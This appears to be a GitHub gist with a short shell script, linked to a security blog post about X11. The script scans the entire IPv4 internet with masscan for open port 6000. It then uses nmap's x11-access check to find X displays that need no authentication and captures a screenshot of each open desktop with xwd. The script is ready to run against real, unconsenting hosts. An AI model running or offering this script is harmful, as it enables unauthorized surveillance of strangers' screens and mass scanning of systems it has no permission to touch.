Skip to content

Instantly share code, notes, and snippets.

@aarroyoc
Created August 28, 2014 11:43
Show Gist options
  • Save aarroyoc/1b3cecaca4b3280df47c to your computer and use it in GitHub Desktop.
Save aarroyoc/1b3cecaca4b3280df47c to your computer and use it in GitHub Desktop.
Screenshoot ALL the things
#This script makes an screenshoot of all X11 ports open
# http://www.securitybydefault.com/2014/08/screenshot-all-things-un-paseo-por-x11.html
# Run it on Debian/Ubuntu, please, as root
apt-get install git nmap build-essentials
git clone https://github.com/robertdavidgraham/masscan masscan
cd masscan
make
cd bin
mkdir -p images
./masscan -p6000 -oG 6000.grep 0.0.0.0/0 --excludefile ../data/exclude.conf -v
cat 6000.grep|awk '{ print $2}'|grep -Ev 'Mass|Ports'>6000-open.txt
nmap -v -Pn -n -p6000 --script=x11-access -v --open -iL 6000-open.txt -oA accessgranted
grep -B4 granted accessgranted.nmap|grep scan|awk '{ print $5}'> IPshot.csv
for ip in `cat IPshot.csv`; do
echo $ip
timeout 180 xwd -root -display $ip:0 | convert xwd:-images/screen-$ip.png
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment